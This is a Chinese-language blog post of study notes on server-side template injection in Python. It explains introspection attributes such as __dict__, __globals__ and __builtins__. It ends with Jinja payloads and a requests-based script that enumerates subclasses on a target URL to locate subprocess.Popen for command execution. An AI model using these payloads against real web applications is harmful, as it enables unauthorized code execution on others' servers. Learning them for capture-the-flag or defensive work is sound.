ssti学习
常见自带魔术变量
__dict__
用于显示出实例的属性
是类或实例自身的 命名空间字典,存储该类或实例 直接定义的所有属性和方法。对于类对象:
包含类层级上的所有 属性、方法、元类、继承关系 等。对于实例对象:
包含实例层级上的所有 动态添加的属性(不包括类定义的属性和方法)。比如:
1
print(().__class__.__bases__[0].__subclasses__()[94].__dict__)
这里将原型
__subclasses__()[94]所有的属性以字典形式列出举个例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18class Person:
species = "human" # 类变量
def __init__(self, name):
self.name = name # 实例变量
def greet(self):
return f"Hello, {self.name}"
print(Person.__dict__) # 输出示例如下:
# {
# 'species': 'human',
# '__init__': <function Person.__init__>,
# 'greet': <function Person.greet>, 即前面的Person为该类的名字,greet为该类中的一个函数
# ...
# }
# 注意:实例变量(如 name)不在此字典中,属于实例的 __dict__
__init__.__globals__["builtins"]
它是一个字典,包含了 整个 Python 模块运行时的所有全局变量和导入的模块。
以下是一段帮助我们辨析理解的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22import os
global_var = "I'm a global variable"
class MyClass:
class_attr = "I'm a class attribute"
def __init__(self, instance_attr):
self.instance_attr = instance_attr
def method(self):
pass
_class = MyClass("Hello, world!")
# 查看类的__dict__
print(MyClass.__dict__) # 输出类本身的定义内容
print("\n")
print(_class.__dict__) # 输出实例的__dict__(只会包含实例属性)
print("\n")
print(MyClass.__init__.__globals__)
print("\n")
print(MyClass.__init__.__globals__["__builtins__"])这里的
print(MyClass.__init__.__globals__)的结果为:1
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000002660053BC50>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'i:\\.python小脚本\\web\\ssti\\test.py', '__cached__': None, 'MyClass': <class '__main__.MyClass'>, '_class': <__main__.MyClass object at 0x0000026600738A40>}
即为该python模块,通俗来说就是这个python代码文件的所有导入模块以及变量等属性。
关于__globals__["__builtins__"]输出结果的解释
- 个人最为疑惑的就是为什么有时对该类的
__init__.__globals__["__builtins__"]进行打印只会回显:<module 'builtins' (built-in)>,因为此时该类中对__builtins__模块的引用属于直接引用,并没有呈字典形式在类中引用。
而有些python自带类则以字典形式对__builtins__模块中的方法进行引用,所以打印该键所代表值可以得到大量键值对数据。
杂项疑点
关于寻找eval函数以及寻找popen的区别
- 为什么寻找前者需要在子类的
__subclasses__()[i].__init__.__globlas__['__builtins__']中寻找,后者只需在:
__subclasses__()[i].__init__.__globlas__中寻找? - 原因在于,
eval为python自带模块中的方法,所以需要再在每个类自动引入的[__builtins__]模块中寻找,而popen方法并不属于__builtins__类,所以不需要在该模块中寻找,直接在全局变量中寻找。
可利用类总结
subprocess.Popen(可执行命令类)
寻找方法:
使前端直接输出:
{{"".__class__.__base__[0].__subclass__[i]}}
并使用any寻找该类中是否有communicate,shell,subprocess。如以下脚本:
1
2
3
4
5
6
7
8
9
10for i in range(total_classes):
payload_popen = r"{{().__class__.__base__.__subclasses__()[" + str(i) + r"]}}"#构造搜寻子类的语句
try:
res_popen = requests.get(url=url, params={"name": payload_popen}, headers=headers, timeout=8)
if any(x in res_popen.text.lower() for x in ["subprocess", "communicate","shell"]):#寻找关键词
sys.stdout.write(f"\n! 在位置 {i} 找到 subprocess.Popen\n")
sys.stdout.flush()
except Exception as e:
print(f"请求出现异常: {e},跳过{i}号类")
continue
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Dedsec的博客!



